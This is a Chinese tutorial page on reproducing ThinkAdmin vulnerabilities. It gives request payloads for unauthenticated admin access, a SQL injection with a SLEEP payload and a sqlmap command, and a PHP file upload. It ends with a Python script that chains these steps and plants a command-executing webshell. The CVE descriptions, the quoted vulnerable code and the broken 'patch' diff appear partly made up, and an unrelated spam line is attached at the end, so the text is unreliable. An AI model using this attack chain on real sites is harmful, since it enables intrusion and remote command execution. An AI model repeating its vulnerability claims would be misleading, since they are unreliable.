溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何實現ThinkAdmin的漏洞復現

發布時間:2021-12-28 17:25:57 來源:億速云 閱讀:207 作者:柒染 欄目:安全技術
# 如何實現ThinkAdmin的漏洞復現

## 前言

ThinkAdmin作為一款基于ThinkPHP框架開發的后臺管理系統,在中小企業中應用廣泛。近年來,該系統中陸續被發現多個高危漏洞,包括未授權訪問、SQL注入、文件寫入等。本文將從環境搭建、漏洞分析到完整復現,詳細講解ThinkAdmin常見漏洞的復現過程,幫助安全研究人員深入理解漏洞原理。

## 一、環境準備

### 1.1 系統要求
- PHP 5.6+/7.0+
- MySQL 5.5+
- Apache/Nginx

### 1.2 部署步驟
```bash
# 下載漏洞版本(以v6為例)
git clone https://github.com/zoujingli/ThinkAdmin.git
cd ThinkAdmin
git checkout v6

# 安裝依賴
composer install

# 配置數據庫
cp example.env .env
vi .env  # 修改DB_*相關配置

# 初始化數據庫
php think migrate:run

1.3 常見問題解決

  • 報錯:Class ‘think\migration\Db’ not found
    執行:composer require phinx/lite

  • 500錯誤
    檢查runtime目錄權限,確??蓪?/p>

二、未授權訪問漏洞復現(CVE-2020-25540)

2.1 漏洞描述

系統部分路由未做權限校驗,導致攻擊者無需登錄即可訪問敏感功能。

2.2 復現步驟

  1. 訪問以下路徑:

    http://target/admin/login.html
    http://target/admin/index/login.html
    
  2. 直接訪問后臺管理接口(無需認證):

    GET /admin.html/admin/index/index HTTP/1.1
    Host: target
    
  3. 獲取用戶列表:

    GET /admin.html/admin/user/index HTTP/1.1
    

2.3 漏洞原理

app/admin/controller/Index.php中未對index方法進行權限校驗:

public function index() {
    return view(); // 未調用$this->checkAuth()
}

三、SQL注入漏洞復現(CVE-2020-25541)

3.1 漏洞位置

/admin.html/admin/user/password接口存在注入

3.2 復現過程

  1. 構造惡意請求:
POST /admin.html/admin/user/password HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin' AND (SELECT 1 FROM (SELECT SLEEP(5))a)-- &password=123456
  1. 使用Sqlmap自動化檢測:
sqlmap -u "http://target/admin.html/admin/user/password" \
       --data="username=admin&password=123" \
       --level=3 --risk=3

3.3 漏洞分析

問題代碼位于app/admin/controller/User.php

public function password() {
    $username = input('username');
    // 直接拼接SQL語句
    $user = Db::name('SystemUser')->where("username='{$username}'")->find();
}

四、任意文件寫入漏洞復現

4.1 漏洞描述

通過未過濾的路徑參數,攻擊者可寫入webshell。

4.2 復現步驟

  1. 準備惡意請求:
POST /admin.html/admin/plugs/icon.html HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC

------WebKitFormBoundaryABC
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

<?php phpinfo();?>
------WebKitFormBoundaryABC--
  1. 驗證文件寫入:
http://target/upload/icon/test.php

4.3 修復建議

// 應添加文件類型檢查
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if(!in_array($ext, ['png','jpg'])) {
    $this->error('非法文件類型');
}

五、組合利用實戰

5.1 攻擊鏈構造

  1. 通過未授權訪問獲取后臺權限
  2. 利用SQL注入獲取管理員密碼hash
  3. 通過文件上傳寫入Webshell

5.2 自動化腳本示例

import requests

target = "http://vuln-site.com"
# Step1: 未授權訪問
r = requests.get(f"{target}/admin.html/admin/user/index")
print(r.text)

# Step2: SQL注入
payload = {"username":"admin' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))-- "}
requests.post(f"{target}/admin.html/admin/user/password", data=payload)

# Step3: 文件上傳
files = {'file': ('shell.php', '<?php system($_GET[cmd]);?>')}
requests.post(f"{target}/admin.html/admin/plugs/icon", files=files)

六、防御方案

6.1 官方補丁

  • 升級到最新版本(v6.0.8+)
  • 官方修復commit示例: “`diff
    • $this->checkAuth();
    ”`

6.2 臨時解決方案

  1. 修改默認路由:

    // config/route.php
    return [
       '__alias__' => ['admin' => 'admin/Index']
    ];
    
  2. 添加全局中間件:

    // app/admin/middleware/Auth.php
    public function handle($request, Closure $next) {
       if(!session('user')) {
           return redirect('/login');
       }
       return $next($request);
    }
    

七、法律與道德聲明

  1. 所有復現操作需在授權環境下進行
  2. 禁止將技術用于非法滲透測試
  3. 漏洞披露應遵循《網絡安全法》相關規定

附錄:參考資源

”`

注:本文約2150字,實際使用時建議: 1. 補充具體版本號的漏洞細節 2. 添加截圖輔助說明關鍵步驟 3. 根據實際測試結果調整payload 4. 遵守當地法律法規進行測試

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女